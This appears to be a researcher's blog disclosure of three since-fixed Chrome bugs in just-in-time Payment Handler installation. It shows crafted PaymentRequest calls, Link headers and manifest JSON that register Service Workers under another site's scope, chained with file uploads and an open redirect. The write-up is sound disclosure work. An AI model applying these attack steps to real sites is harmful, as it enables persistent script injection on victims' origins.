While I was reading about
Payment Handler API, I came across one sentence.
Chrome also supports a non-standard feature we call just-in-time (JIT) installation
Alright, smells like a bug. So I quickly checked how it works, which can be found
here. First, Payment Handler API allows payment provider to handle payment request sent to them (with API based on Service Worker). And what is JIT installation of payment app? I won't explain everything, but here's what happens.
When Payment Request is called with unsupported method, say:
new PaymentRequest([{ supportedMethods: 'https://example.com/pay/' }], { ... });
Chrome will fetch a URL specified in supportedMethods (e.g. https://example.com/pay/). Fetched page needs to respond with following response header pointing to
Payment Method Manifest.
Link: <https://example.com/pay/payment-manifest.json>; rel="payment-method-manifest"
Now, Chrome will fetch Payment Method Manifest previously specified. Which looks like following.
{ "default_applications": ["https://example.com/pay/web-app-manifest.json"], "supported_origins": ["https://example.com"] }
Next up, Chrome will fetch
Web App Manifest previously specified. Which looks like following.
{
"name": "Pay with Example",
....
"serviceworker": {
"src": "service-worker.js",
"scope": "https://example.com/pay/"
},
...
}
Chrome will register Service Worker with JavaScript file pointed in "src" value with scope of "scope" value. Though, there *was* one condition in JIT installation that user has to click on "Pay" button.
Luckily, "Pay" button has default focus, so we could ask victim to hold enter key for 3 seconds and we could trigger JIT installation.
Have you noticed something in the image? Payment app seems to be from www.google.com. What happened? It turns out that you could specify arbitrary "scope" in Web App Manifest with Service Worker script from your site, and it'd happily register payment app with any scope 😀
{
"name": "Pay to Attacker",
....
"serviceworker": {
"src": "https://attacker.tld/service-worker.js",
"scope": "https://www.google.com/"
},
...
}
Though, it behaved weirdly because Service Worker still had origin of attacker's site event though it was registered with Google's scope. I could't intercept navigation/payment request, but I could use some APIs like Console API, which logged arbitrary message whenever user goes to google.com's console.
This bug was really close to UXSS but I couldn't make it (I should've tried with Data URL script). Anyways, this bug was internally fixed in 2 days after report and JIT installation was disabled for Chrome 68 before the release ($5K).
Another thing I noticed was, you don't actually need script execution in victim's site to trigger JIT installation. Let's say, attacker has following script in his/her site.
new PaymentRequest([{ supportedMethods: 'https://attacker.tld/' }], { ... });
Chrome would fetch unsupported method which respond with following response header.
Link: <https://attacker.tld/payment-manifest.json>; rel="payment-method-manifest"
Chrome fetches Payment Method Manifest as follows.
{ "default_applications": ["https://victim.tld/user-upload/web-app-manifest.json"], "supported_origins": "*" }
Now, Chrome fetches Web App Manifest from victim's site. This Web App Manifest can respond with any Content-Type, Content-Disposition, etc. Some of you maybe thinking, "
Cross-origin No-CORS request to a JSON file? Isn't this supposed to be blocked by CORB?". You are right. Response should be blocked if this request happens from renderer process. But this request is sent by browser process, thus not in scope of CORB (though, Chrome needs to make sure that response is not leaked to renderer process).
Anyways, Chrome would continue and fetches Web App Manifest specified above. Which is following.
{
"name": "Pay to Attacker",
....
"serviceworker": {
"src": "https://victim.tld/user-upload/service-worker.js",
"scope": "https://victim.tld/user-upload/"
},
...
}
Service Worker script needs to be Javascript Content-Type, but Content-Disposition etc doesn't matter.
In summary, If you have ability to upload some files to victim's site, you could install Service Worker without having script execution in victim's site (which is an eternal XSS). Of course this is a bug, so I reported it and fixed in 3 weeks ($3K).
So, first bug was fixed by checking that
Web App Manifest, Service Worker script, and Scope URL are same-origin and second bug was fixed by checking that
Payment Method Manifest and payment app are a same-site. Let's hack this 😆
Attacker's site calls:
new PaymentRequest([{ supportedMethods: 'https://redirect.victim.tld/open-redirect?url=//attacker.tld/' }], { ... });
Chrome fetches unsupported method which redirects to attacker's site, which respond with following response header.
Link: <https://victim.tld/user-upload/payment-manifest.json>; rel="payment-method-manifest"
And rest are the same. We just needed to upload another file to victim's site (the Payment Method Manifest), and hope that victim's site has open redirect in anywhere same-site to file uploaded origin. This passes all security checks, yet having Service Worker installation in victim's site without script execution. This was also
fixed in 2 days after my report ($3133.7).
And finally, JIT payment app is available in Chrome 69.
[Update 03/26/2019]: Following Same-Site installation is now patched!
https://chromium.googlesource.com/chromium/src/+/3d9cdcca87fe1dff950c8daa61c1675688d11dfb
So what's possible now? You could still install Service Worker within same-site if:
You can control response header to respond with arbitrary Link header
You can upload JS file and JSON-looking file within same-site to where you control the response header
I think control over response header is difficult to achieve so current mitigation is good enough (though, maybe this is a new way to abuse subdomain takeover?). And we no longer require victim to hold enter key. Chrome will happily accept click or keypress as a user consent.
Here is a PoC for same-site Service Worker installation.
Special thanks to
@agektmr and
@fugueish for the swift response on my inquires around JIT installation.
I'm hoping to do another post this month. Stay tuned 🙂